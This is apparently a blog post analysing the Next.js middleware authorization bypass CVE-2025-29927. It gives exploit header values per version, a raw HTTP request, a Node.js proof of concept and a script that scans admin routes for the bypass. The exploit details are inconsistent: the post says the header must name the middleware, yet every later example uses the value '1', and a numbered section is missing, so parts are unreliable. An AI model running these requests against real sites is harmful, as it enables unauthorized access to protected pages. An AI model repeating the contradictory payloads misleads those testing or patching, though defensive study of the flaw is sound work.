CVE-2025-29927: Next.js Middleware Authorization Bypass

CVE-2025-29927: Next.js Middleware Authorization Bypass

31 August 2025

CVE-2025-29927: Next.js Middleware Authorization Bypass – Deep Technical Analysis

CVE-2025-29927 is a critical security vulnerability in the Next.js framework. This issue arises from the improper handling of the x-middleware-subrequest header. This header plays a key role in Next.js middleware execution, and its misuse can bypass authorization checks.


1️⃣ Role of x-middleware-subrequest Header

Next.js uses the x-middleware-subrequest header to determine whether a request is an internal subrequest. This header is designed to prevent infinite middleware loops. However, incorrect handling allows external requests to bypass middleware checks.


2️⃣ Technical Mechanism of the Vulnerability

const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];

if (subrequests.includes(middlewareInfo.name)) {
  result = {
    response: NextResponse.next(),
    waitUntil: Promise.resolve(),
  };
  continue;
}

This code reads the x-middleware-subrequest header, splits it into an array, and if it contains middlewareInfo.name, the middleware is skipped, allowing external requests to bypass authorization.


3️⃣ Exploit Methods Across Next.js Versions

📌 Version 12.2 and Earlier

Middleware files are named _middleware.ts and reside in the pages folder. The middlewareInfo.name is the combination of directory and file name.

x-middleware-subrequest: pages/_middleware

Setting this header externally can skip middleware checks.

📌 Version 12.2 and Later

Middleware files are middleware.ts. The middlewareInfo.name is just the file name.

x-middleware-subrequest: middleware

Correctly setting this header still bypasses middleware.

📌 Version 13.2.0 and Later

Next.js enforces MAX_RECURSION_DEPTH to prevent infinite loops, but misuse of x-middleware-subrequest remains exploitable.

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

4️⃣ Exploit Scenario

GET /admin HTTP/1.1
Host: vulnerable-app.local
x-middleware-subrequest: 1

This request bypasses middleware and allows unauthorized access to routes like /admin.

Node.js PoC

import fetch from 'node-fetch';

async function exploit() {
    const res = await fetch('http://localhost:3000/admin', {
        headers: { 'x-middleware-subrequest': '1' }
    });
    const body = await res.text();

    if (body.includes('Admin Panel')) {
        console.log('[+] Bypass Successful!');
    } else {
        console.log('[-] Middleware blocking access.');
    }
}

exploit();

Some projects combine middleware with cookie or JWT role checks:

if (!req.cookies.auth_token && req.headers['x-middleware-subrequest'] !== '1') {
    return NextResponse.redirect('/login');
}

Adding the header allows access without token or JWT.


6️⃣ Header Manipulation Scenarios

Scenario Header Result
Simple bypass x-middleware-subrequest: 1 Middleware skipped
JWT bypass x-middleware-subrequest: 1 + missing JWT Role check bypass
Cookie bypass x-middleware-subrequest: 1 + empty cookie Auth bypass

7️⃣ Automated Test Script (Red-Team Style)

import fetch from 'node-fetch';

const routes = ['/admin', '/dashboard', '/settings'];

async function testBypass() {
    for (const route of routes) {
        const res = await fetch(`http://localhost:3000${route}`, {
            headers: { 'x-middleware-subrequest': '1' }
        });
        console.log(`${route}: ${res.status}`);
    }
}

testBypass();

This script tests all protected routes automatically to quickly identify which can be bypassed.


8️⃣ Hacker Perspective

  • Auth checks in middleware can be bypassed via header manipulation.
  • JWT or cookie combinations can optimize bypass.
  • Red-team testing involves code-based exploits and response analysis.
  • Summary: x-middleware-subrequest = primary exploit entry point.

📺 Video Demonstration